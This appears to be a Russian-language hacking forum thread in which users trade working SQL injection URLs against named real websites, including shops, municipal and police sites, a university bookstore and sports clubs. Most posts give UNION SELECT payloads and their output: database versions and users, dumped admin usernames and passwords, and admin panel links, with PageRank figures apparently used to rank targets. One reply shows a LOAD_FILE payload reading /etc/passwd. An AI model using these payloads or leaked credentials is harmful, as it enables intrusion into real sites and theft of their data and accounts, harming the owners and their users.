Code: http://www.kinoteatrdoc.ru/press.php?id=-1+union+select+version(),user(),database()-- version():4.1.22 user():[email protected] database():kinoteatr_kd PR:5; тИЦ:850 Code: http://sok.sao.mos.ru/news_full.php?id=-1+union+select+1,unhex(hex(user())),unhex(hex(version())),unhex(hex(database())),5-- version():4.1.12 user():sao@chicken database:sao PR:4; тИЦ:700 Code: http://www.doctor-gynecolog.ru/index.phtml?id=-1+union+select+concat_ws(0x3a,666,username,userpass),2+from+poll_user+limit+0,1/* version():5.0.45 user():medsunr_d-gyn@localhost database():medsunr_d-gyn PR:3;тИЦ:50
Code: http://www.aquaponics-shop.com/aquaponics-shop/products.php?prod_id=-25+union+select+1,2,binary(user()),4,5,6,7,8-- apshop@localhost 5.0.16 aquaponicsshop Code: http://www.ibaysilvershop.com/show_cart.php?new=cat_id=42%20AND%20prod_id=-3+union+select+1,2,user(),4,5,6,7,8-- ibaysilv_admin@localhost 5.0.67-community ibaysilv_ibays Code: http://www.ibaysilvershop.com/show_cart.php?new=cat_id=42%20AND%20prod_id=-3+union+select+1,2,concat_ws(char(58),username,password,email),4,null,6,7,8+from+ibaysilv_ibays.admin-- edmd_2005:edmd_2005:[email protected] http://www.ibaysilvershop.com/admin/
PR 4 http://rpolice.ru/index.php?page=album&type=session&DocID=162&album_page=' скуль управление гибдд
Code: http://www.intelit.kiev.ua/?page=konkursy&state=view&konkursy_id=-1+union+select+1,2,3,4,concat_ws(0x3a3a,login,pass),6,7+from+test_users+limit+1,1-- cannabies::xqjhze Code: http://www.intelit.kiev.ua/?page=konkursy&state=view&konkursy_id=-1+union+select+1,2,3,4,table_name,6,7+from+information_schema.tables+limit+0,1-- Code: http://www.intelit.kiev.ua/?page=konkursy&state=view&konkursy_id=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7-- intelit_user@localhost:5.0.67-community-log:intelit_intelit тИЦ: 20 Pagerank: 3
Code: http://www.ukbaristachampionship.co.uk/index.php?id=-1+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5 ,6-- user(): [email protected] version(): 4.0.20-standard-log database(): ukbaristac PR: 4
Code: http://www.ajour-travel.ru/tab.php?strana=' Элементарно не смог посчитать количество столбцов. Нервы сдали после такого..................
http://info.twtelecom.net/info.php?id=-2+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3-- 5.0.22 info@localhost info http://www.allyth.com/page.php?lnkid=601111+union+select+1,2,3,4,5,concat_ws(0x3a3a,version(),user(),database())-- 5.0.67-community almoonn_rfaah@localhost almoonn_rfaah http://www.sabeel.org/etemplate.php?id=-2+union+select+1,2,3,4,concat_ws(0x3a3a,version(),user(),database()),6,7,8,9,10,11,12,13-- 5.0.45-community-nt web@localhost 502401045_sabeel http://www.ieeta.pt/sias/high_details.php?id=-98+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6-- PageRank = 7 4.0.26 [email protected] sias_extended
Это не пхп, sql но в Limit - ничего не зделаешь. Эдушный шоп ( пр 6 ) http://bookstore.juilliard.edu/pages/music_books.php?id=-823+union+select+1,concat_ws(0x2d2d2d,user,host,password,file_priv),333333+from+mysql.user-- есть пользователи с host % и file_priv Y ( tim:abs123), но открытых портов которые смахивали бы на Mysql не нашел. Вот админы http://bookstore.juilliard.edu/pages/music_books.php?id=-823+union+select+1,concat_ws(0x2f,username,password,priv,email),3+from+users+where+priv=0x61646d696e-- chungresto jonsoons:54645464 Админка: https://bookstore.juilliard.edu/admin/
5.0.22-standard-logvfscom_dbwebmaster@localhost ТИЦ:160 PR:6 5.0.67-community - tsl_admin@localhost - tsl_admin ТИЦ:30 PR:5 ====== Version: 4.1.22-log database: wwwmmdbusersru user: mmdb@localhost ТИЦ:40 PR: 5
Держите может у кого получится....сам не смог ничё сделать http://www.fcmetalurg.com/news/index.php?id=1350
Там не нашел но тут да http://www.fcmetalurg.com/club/about_team.php?tid=-5+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database()),8,9,10,11,12,13,14,15,16,17,18,19-- Version:4.0.27-standard-log User:fcmetalu_club@localhost Database:fcme
Onestops.info - PR6 ~1.5к 5 ветка.. Metalstorm.ee - PR5 ~1к 5 ветка.. Apricorn.com - PR5 ~1к 4 ветка..
Народ если можно выложите пример где разрешено LOAD_FILE() в скуле. А то чтото перерыл кучу всего а так и ниразу не видел как это работает. Такой впечатление что чтото неправильно делаю потому как всегда резултат null. Извините если offtop.
2 zenon2 понимаю тебя чел... у самого раньше такой же вопрос был... Code: http://www.abbotsfordinmotion.ca/news/general.php?id=-5307'+union+select+1,load_file('/etc/passwd'),3,4,5,6,7,8,9,10,11,12,13,14,15,16--%20'1
